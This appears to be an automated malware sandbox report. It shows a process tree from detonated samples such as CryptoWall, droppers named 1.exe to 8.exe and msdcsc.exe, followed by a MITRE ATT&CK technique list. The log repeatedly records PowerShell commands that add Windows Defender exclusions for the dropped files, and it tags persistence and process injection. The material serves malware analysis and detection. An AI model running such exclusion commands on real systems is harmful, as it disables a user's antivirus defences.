        
        PID:4896
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '8.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7164
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7948
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:9328
  - - C:\Users\Admin\AppData\Local\Temp\7.exe
      "C:\Users\Admin\AppData\Local\Temp\7.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:1184
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:7036
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '7.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:744
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11976
  - - C:\Users\Admin\AppData\Local\Temp\6.exe
      "C:\Users\Admin\AppData\Local\Temp\6.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:2764
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\6.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '6.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12500
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8860
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12872
  - - C:\Users\Admin\AppData\Local\Temp\5.exe
      "C:\Users\Admin\AppData\Local\Temp\5.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:3244
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\5.exe'
        5⤵
        
        PID:6612
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '5.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8288
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7772
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:1080
  - - C:\Users\Admin\AppData\Local\Temp\4.exe
      "C:\Users\Admin\AppData\Local\Temp\4.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:4552
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\4.exe'
        5⤵
        
        PID:7540
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '4.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:13028
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:9128
  - - C:\Users\Admin\AppData\Local\Temp\3.exe
      "C:\Users\Admin\AppData\Local\Temp\3.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:2812
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\3.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '3.exe'
        5⤵
        
        PID:9748
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9720
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10160
  - - C:\Users\Admin\AppData\Local\Temp\2.exe
      "C:\Users\Admin\AppData\Local\Temp\2.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:5488
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\2.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7808
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '2.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11656
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:8496
  - - C:\Users\Admin\AppData\Local\Temp\1.exe
      "C:\Users\Admin\AppData\Local\Temp\1.exe"
      4⤵
      Drops startup file
      Executes dropped EXE
      PID:5400
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\1.exe'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3836
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '1.exe'
        5⤵
        
        PID:10604
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\$77-system32'
        5⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6248
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77-system32'
        5⤵
        
        PID:2196
- - C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe
    "C:\Users\Admin\AppData\Local\Temp\CryptoWall.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:336
  - - C:\Windows\SysWOW64\explorer.exe
      "C:\Windows\syswow64\explorer.exe"
      4⤵
      Drops startup file
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      PID:1128
    - - C:\Windows\SysWOW64\svchost.exe
        
        -k netsvcs
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:2680
- C:\Users\Admin\AppData\Roaming\tcping.exe
  "C:\Users\Admin\AppData\Roaming\tcping.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:4380
- C:\Users\Admin\AppData\Roaming\paping.exe
  "C:\Users\Admin\AppData\Roaming\paping.exe"
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:2392

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\62fb2487\62fb2487.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:1520
- C:\62fb2487\62fb2487.exe
  C:\62fb2487\62fb2487.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:1232
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:4508
  - - C:\Windows\SysWOW64\svchost.exe
      -k netsvcs
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:248

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\62fb2487\62fb2487.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:2736
- C:\62fb2487\62fb2487.exe
  C:\62fb2487\62fb2487.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:564
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:2324
  - - C:\Windows\SysWOW64\svchost.exe
      -k netsvcs
      4⤵
      System Location Discovery: System Language Discovery
      PID:900

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\62fb2487.exe
1⤵
PID:5312
- C:\Users\Admin\AppData\Roaming\62fb2487.exe
  C:\Users\Admin\AppData\Roaming\62fb2487.exe
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  PID:3076
- - C:\Windows\SysWOW64\explorer.exe
    "C:\Windows\syswow64\explorer.exe"
    3⤵
    - Drops startup file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: MapViewOfSection
    PID:2396
  - - C:\Windows\SysWOW64\svchost.exe
      -k netsvcs
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6076

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\62fb2487.exe
1⤵
PID:1552
- C:\Users\Admin\AppData\Roaming\62fb2487.exe
  C:\Users\Admin\AppData\Roaming\62fb2487.exe
  2⤵
  - Executes dropped EXE
  PID:4768

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\tasksche.exe"
1⤵
PID:6404

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\Wave.exe
1⤵
PID:12948
- C:\Users\Admin\AppData\Roaming\Wave.exe
  C:\Users\Admin\AppData\Roaming\Wave.exe
  2⤵
  - Executes dropped EXE
  PID:8736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\svchost.exe
1⤵
PID:8132
- C:\Users\Admin\AppData\Roaming\svchost.exe
  C:\Users\Admin\AppData\Roaming\svchost.exe
  2⤵
  - Executes dropped EXE
  PID:4596

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\AppData\Roaming\winsct
1⤵
PID:10896

C:\Users\Admin\AppData\Roaming\Wave.exe
C:\Users\Admin\AppData\Roaming\Wave.exe
1⤵
PID:6896

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
1⤵
PID:9660
- C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  2⤵
  PID:9136
- - C:\Program Files (x86)\Internet Explorer\iexplore.exe
    "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
    3⤵
    PID:7280

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
1⤵
PID:12596
- C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  2⤵
  PID:12508
- - C:\Program Files (x86)\Internet Explorer\iexplore.exe
    "C:\Program Files (x86)\Internet Explorer\iexplore.exe"
    3⤵
    PID:7764
- - C:\Windows\explorer.exe
    "C:\Windows\explorer.exe"
    3⤵
    PID:6736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
1⤵
PID:11908
- C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  2⤵
  PID:6812

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\sysldpsvc.exe
1⤵
PID:10892
- C:\Windows\sysldpsvc.exe
  C:\Windows\sysldpsvc.exe
  2⤵
  PID:10220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
1⤵
PID:5784
- C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  2⤵
  PID:11220

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
1⤵
PID:8412
- C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  C:\Users\Admin\Documents\MSDCSC\msdcsc.exe
  2⤵
  PID:8148

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery